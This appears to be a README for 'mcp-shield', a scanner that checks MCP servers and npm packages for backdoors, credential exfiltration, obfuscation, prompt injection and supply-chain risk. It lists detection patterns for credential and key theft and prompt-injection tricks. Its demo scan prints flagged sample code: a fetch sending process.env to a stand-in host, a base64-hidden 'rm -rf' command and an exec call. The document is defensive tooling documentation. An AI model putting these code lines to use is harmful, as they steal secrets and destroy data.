mcp-shield
A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.
The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.
What it detects
| Category | Examples |
|---|---|
| Exfiltration | process.env sent over network, SSH key access, AWS credential reads |
| Code execution | eval(), new Function(), child_process.exec(), dynamic require() |
| Obfuscation | Base64 runtime decoding, hex-encoded payloads, char-code arrays |
| Sensitive file access | .env, id_rsa, browser cookies, ~/.gitconfig |
| Prompt injection | Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns |
| Supply chain | Package age, download count, maintainer count, CVEs in dependencies |
Demo
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)
